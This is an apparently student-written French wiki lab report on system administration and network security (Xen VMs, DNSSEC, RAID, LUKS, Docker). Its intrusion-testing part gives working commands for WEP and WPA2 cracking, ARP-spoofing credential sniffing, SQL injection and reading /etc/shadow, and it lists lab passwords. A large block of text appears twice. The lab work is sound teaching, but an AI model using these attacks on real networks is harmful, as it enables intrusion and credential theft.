En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

A la fin de cette partie la machine sur chassiron est capable de ping google.

==== Clés SSH ====

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "\{{ packages }}"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel }}"

=== Création de votre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisé.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

TP sysres IMA5sc 2020/2021 G5

2020-12-17T23:09:44Z

Psanchez : /* Installation de docker */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

